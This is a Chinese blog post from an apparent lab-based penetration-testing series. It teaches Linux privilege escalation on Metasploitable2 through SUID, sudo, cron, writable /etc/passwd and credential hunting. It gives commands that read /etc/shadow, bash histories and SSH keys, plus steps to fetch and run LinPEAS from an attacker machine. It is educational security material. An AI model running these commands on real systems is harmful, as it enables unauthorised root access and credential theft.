iT邦幫忙

2026 iThome 鐵人賽

DAY 17
0

在真實的滲透測試中,直接拿到 root 的情況其實很少。大部分時候你拿到的是一個低權限的 shell(www-data、daemon、tomcat55),接下來就需要提權(Privilege Escalation)——從低權限爬到 root。/images/emoticon/emoticon28.gif

提權(Privilege Escalation):
  從低權限使用者 → 取得高權限(通常是 root)

分為兩種:

  垂直提權(Vertical)
    低權限 → root
    www-data → root
    → 這是我們今天的重點

  水平提權(Horizontal)
    同權限的不同使用者
    user_A → user_B
    → 通常是為了取得更多資訊,再垂直提權

提權的思路

拿到 shell 之後的標準流程:

  1. 我是誰?        → whoami、id
  2. 這是什麼系統?  → uname -a、cat /etc/issue
  3. 有什麼可以利用?→ 枚舉(Enumeration)
     │
     ├── SUID 檔案
     ├── sudo 權限
     ├── cron job
     ├── 可寫目錄/檔案
     ├── 核心版本(kernel exploit)
     ├── 密碼/設定檔
     └── 網路服務(只在 localhost 的服務)
     │
  4. 利用找到的弱點提權

提權手法二:SUID 檔案利用

SUID(Set User ID)是 Linux 的特殊權限位:
  → 當一個檔案設定了 SUID 位元
  → 不管誰執行它,都會以「檔案擁有者」的身份執行

  例如:
    -rwsr-xr-x root root /usr/bin/passwd
     ^ s = SUID
    → 任何人執行 passwd 都會以 root 身份執行
    → 因為修改密碼需要寫入 /etc/shadow

  正常用途:passwd、ping、sudo 等需要特權的指令

  被利用的方式:
    → 如果某個 SUID 程式有漏洞或設計不當
    → 攻擊者可以透過它以 root 身份執行任意指令
偵查
# 找出所有 SUID 檔案
find / -perm -4000 -type f 2>/dev/null

# 或者更詳細的格式
find / -perm -u=s -type f 2>/dev/null

提權手法三:sudo 權限濫用

sudo 允許使用者以其他身份(通常是 root)執行特定指令。
設定在 /etc/sudoers 中:

  # 允許 msfadmin 以 root 身份執行任何指令
  msfadmin ALL=(ALL) ALL

  # 允許 www-data 以 root 身份執行 /usr/bin/vim,不用密碼
  www-data ALL=(root) NOPASSWD: /usr/bin/vim

如果 sudo 設定過於寬鬆,就可能被利用來提權。

偵察
bash
# 查看當前使用者的 sudo 權限
sudo -l

# 如果需要密碼,試試已知的弱密碼
# msfadmin 的密碼就是 msfadmin

提權手法四:Cron Job 利用

原理
Cron 是 Linux 的定時任務排程器:
  → 在設定的時間自動執行指定的腳本或指令

如果某個 cron job:
  1. 以 root 身份執行
  2. 執行的腳本或目錄是低權限使用者可以修改的

→ 攻擊者修改該腳本,加入惡意指令
→ 等 cron 以 root 身份執行時,惡意指令就以 root 權限跑了
偵察
bash
# 查看系統的 cron job
cat /etc/crontab
ls -la /etc/cron*

# 查看各使用者的 cron job
crontab -l
ls -la /var/spool/cron/crontabs/

# 找可寫的 cron 腳本
find /etc/cron* -writable 2>/dev/null

提權手法五:密碼與設定檔挖掘

很多時候,提權不需要技術性的漏洞利用,
只需要在系統中「翻箱倒櫃」找到有用的資訊:

  → 明文密碼
  → 設定檔中的憑證
  → SSH 私鑰
  → 資料庫連線資訊
  → .bash_history 中的指令記錄
偵察
bash
# 查看 /etc/shadow(如果有讀取權限)
cat /etc/shadow

# 找包含 password 字串的設定檔
grep -ri "password" /etc/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /home/ 2>/dev/null

# 查看使用者的 bash 歷史記錄
cat ~/.bash_history
find /home -name ".bash_history" -exec cat {} \; 2>/dev/null

# 查看 SSH 私鑰
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# 查看 Web 應用的設定檔(通常有資料庫密碼)
cat /var/www/dvwa/config/config.inc.php
cat /var/www/mutillidae/config.inc

提權手法六:可寫的 /etc/passwd

在非常舊的或設定不當的系統上,
/etc/passwd 可能對所有使用者可寫。

如果可以寫入 /etc/passwd:
  → 可以新增一個 root 權限的使用者
  → 或者直接修改現有使用者的密碼
  
  偵察
bash
# 檢查 /etc/passwd 的權限
ls -la /etc/passwd

# 如果顯示 -rw-rw-rw- 或類似的,代表任何人都可以寫入

自動化枚舉工具

手動枚舉太慢?可以用自動化工具一次掃完

LinPEAS
# 在 Kali 上下載
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# 開 HTTP server
python3 -m http.server 8888

# 在靶機上下載並執行
cd /tmp
wget http://<攻擊機IP>:8888/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinEnum

# 另一個經典的枚舉腳本
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t

小結

提權是滲透測試中從「拿到入口」到「完全掌控」的關鍵步驟。在 Metasploitable2 上,我們學到了六種主要的提權手法:

  1. Kernel Exploit:利用核心版本漏洞,一步到位但有風險
  2. SUID:找到有 SUID 的可利用程式(如 nmap),穩定可靠
  3. sudo:利用過於寬鬆的 sudo 設定
  4. Cron Job:修改 root 執行的定時腳本
  5. 密碼挖掘:在設定檔和歷史記錄中找密碼
  6. 可寫 /etc/passwd:直接新增 root 使用者

上一篇
Mutillidae 實戰:XSS 與命令注入攻擊
下一篇
Metasploitable2 全攻略回顧:漏洞地圖
系列文
打靶機 30 天:從 Metasploitable2 到 3 的滲透測試學習筆記 共 21 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言